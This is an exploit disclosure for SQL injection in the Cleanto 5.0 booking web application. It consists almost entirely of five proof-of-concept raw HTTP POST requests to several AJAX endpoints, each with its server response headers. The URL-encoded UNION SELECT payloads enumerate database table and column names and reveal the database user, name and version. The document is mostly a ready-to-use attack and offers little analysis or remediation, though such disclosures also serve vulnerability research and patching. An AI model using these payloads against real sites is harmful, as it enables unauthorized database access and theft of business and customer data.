Cleanto 5.0 - SQL Injection

# Exploit Title: Cleanto 5.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://skymoonlabs.com/
# Software Link: https://codecanyon.net/item/appointment-booking-software-for-cleaning-maintenance-businesses-cleanto/18397969
# Version: 5.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/assets/lib/front_ajax.php
# 

%2d%35%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%31%30%2c%31%31%2c%31%32%2d%2d%20%2d

POST /[PATH]/assets/lib/front_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 572
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
service_id=%2d%35%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c(selECt(@x)fROm(selECt(@x: =0x00)%2c(@rUNNing_nuMBer
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 17:32:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunked

# POC: 
# 2)
# http://localhost/[PATH]/assets/lib/front_ajax.php
# 

%2d%35%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%31%30%2c%31%31%2c%31%32%2d%2d%20%2d

POST /[PATH]/assets/lib/front_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 584
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
method_id=%2d%35%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c(selECt(@x)fROm(selECt(@x: =0x00)%2c(@rUNNing_nuMBer
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 17:37:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunked

# POC: 
# 3)
# http://localhost/[PATH]/assets/lib/front_ajax.php
# 

POST /[PATH]/assets/lib/front_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 199
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
addon_id=%2d%31%34%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2d%2d%20%2d&qty_vals=2&s_addon_units_maxlimit_4_ratesss=1: undefined
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 17:48:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunked

# POC: 
# 4)
# http://localhost/[PATH]/assets/lib/export_ajax.php
# 

POST /[PATH]/assets/lib/export_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 301
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
id=5 UNION SELECT 1,2,3,4,(SELECT(@x)FROM(SELECT(@x: =0x00),(@NR
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 18:14:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Cache-Control: max-age=7200
Expires: Sun, 13 Jan 2019 20:14:25 GMT
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunked

# POC: 
# 5)
# http://localhost/[PATH]/assets/lib/service_method_ajax.php
# 

POST /[PATH]/assets/lib/service_method_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
service_id=%35%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%34%2c%35%2d%2d%20%2d&getallservicemethod=1: undefined
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 18:21:33 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Cache-Control: max-age=7200
Expires: Sun, 13 Jan 2019 20:21:32 GMT
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunked